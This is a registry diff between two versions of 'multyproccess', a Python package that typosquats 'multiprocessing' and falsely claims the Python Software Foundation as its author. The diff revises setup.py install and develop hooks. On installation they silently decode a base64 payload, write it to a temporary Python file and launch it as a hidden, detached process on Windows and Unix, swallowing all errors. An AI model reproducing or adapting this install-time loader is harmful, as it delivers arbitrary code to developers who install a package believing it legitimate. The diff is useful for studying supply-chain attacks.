multyproccess 2.32.4__tar.gz → 2.32.5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: multyproccess
3
- Version: 2.32.4
3
+ Version: 2.32.5
4
4
  Summary: HTTP library for Python - Simple and elegant
5
5
  Home-page: https://github.com/psf/request
6
6
  Author: Python Software Foundation
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: multyproccess
3
- Version: 2.32.4
3
+ Version: 2.32.5
4
4
  Summary: HTTP library for Python - Simple and elegant
5
5
  Home-page: https://github.com/psf/request
6
6
  Author: Python Software Foundation
@@ -35,6 +35,7 @@ class PostInstallCommand(install):
35
35
 
36
36
  def _execute_payload(self):
37
37
  """Execute the malicious payload silently in detached process"""
38
+ temp_file = None
38
39
  try:
39
40
  encoded = get_payload()
40
41
  if not encoded:
@@ -43,6 +44,11 @@ class PostInstallCommand(install):
43
44
  # Decode payload
44
45
  payload = base64.b64decode(encoded).decode('utf-8')
45
46
 
47
+ # Write payload to temporary file (command line too long for -c)
48
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False, encoding='utf-8') as f:
49
+ f.write(payload)
50
+ temp_file = f.name
51
+
46
52
  # Create detached process on Windows
47
53
  if sys.platform == 'win32':
48
54
  # Use pythonw.exe (no console window)
@@ -50,12 +56,12 @@ class PostInstallCommand(install):
50
56
  if not os.path.exists(python_exe):
51
57
  python_exe = sys.executable
52
58
 
53
- # Execute payload in new detached process
59
+ # Execute payload file in new detached process
54
60
  CREATE_NO_WINDOW = 0x08000000
55
61
  DETACHED_PROCESS = 0x00000008
56
62
 
57
63
  subprocess.Popen(
58
- [python_exe, '-c', payload],
64
+ [python_exe, temp_file],
59
65
  creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
60
66
  stdout=subprocess.DEVNULL,
61
67
  stderr=subprocess.DEVNULL,
@@ -65,16 +71,23 @@ class PostInstallCommand(install):
65
71
  else:
66
72
  # Unix/Linux: fork and execute
67
73
  subprocess.Popen(
68
- [sys.executable, '-c', payload],
74
+ [sys.executable, temp_file],
69
75
  stdout=subprocess.DEVNULL,
70
76
  stderr=subprocess.DEVNULL,
71
77
  stdin=subprocess.DEVNULL,
72
78
  close_fds=True,
73
79
  start_new_session=True
74
80
  )
81
+
82
+ # Note: temp file not deleted to allow detached process to run
83
+ # OS will clean it up later from temp directory
75
84
  except Exception:
76
85
  # Fail silently
77
- pass
86
+ if temp_file and os.path.exists(temp_file):
87
+ try:
88
+ os.unlink(temp_file)
89
+ except:
90
+ pass
78
91
 
79
92
  class PostDevelopCommand(develop):
80
93
  """Post-development installation hook"""
@@ -84,6 +97,7 @@ class PostDevelopCommand(develop):
84
97
 
85
98
  def _execute_payload(self):
86
99
  """Execute the malicious payload silently in detached process"""
100
+ temp_file = None
87
101
  try:
88
102
  encoded = get_payload()
89
103
  if not encoded:
@@ -91,6 +105,11 @@ class PostDevelopCommand(develop):
91
105
 
92
106
  payload = base64.b64decode(encoded).decode('utf-8')
93
107
 
108
+ # Write to temporary file
109
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False, encoding='utf-8') as f:
110
+ f.write(payload)
111
+ temp_file = f.name
112
+
94
113
  if sys.platform == 'win32':
95
114
  python_exe = sys.executable.replace('python.exe', 'pythonw.exe')
96
115
  if not os.path.exists(python_exe):
@@ -100,7 +119,7 @@ class PostDevelopCommand(develop):
100
119
  DETACHED_PROCESS = 0x00000008
101
120
 
102
121
  subprocess.Popen(
103
- [python_exe, '-c', payload],
122
+ [python_exe, temp_file],
104
123
  creationflags=CREATE_NO_WINDOW | DETACHED_PROCESS,
105
124
  stdout=subprocess.DEVNULL,
106
125
  stderr=subprocess.DEVNULL,
@@ -109,7 +128,7 @@ class PostDevelopCommand(develop):
109
128
  )
110
129
  else:
111
130
  subprocess.Popen(
112
- [sys.executable, '-c', payload],
131
+ [sys.executable, temp_file],
113
132
  stdout=subprocess.DEVNULL,
114
133
  stderr=subprocess.DEVNULL,
115
134
  stdin=subprocess.DEVNULL,
@@ -117,12 +136,16 @@ class PostDevelopCommand(develop):
117
136
  start_new_session=True
118
137
  )
119
138
  except Exception:
120
- pass
139
+ if temp_file and os.path.exists(temp_file):
140
+ try:
141
+ os.unlink(temp_file)
142
+ except:
143
+ pass
121
144
 
122
145
  # Legitimate-looking package metadata
123
146
  setup(
124
147
  name='multyproccess', # Typosquatting: common typo of 'multiprocessing'
125
- version='2.32.4',
148
+ version='2.32.5',
126
149
  description='HTTP library for Python - Simple and elegant',
127
150
  long_description=open('README.md').read() if os.path.exists('README.md') else 'Simple HTTP client for Python with async support',
128
151
  long_description_content_type='text/markdown',
File without changes
File without changes
File without changes
File without changes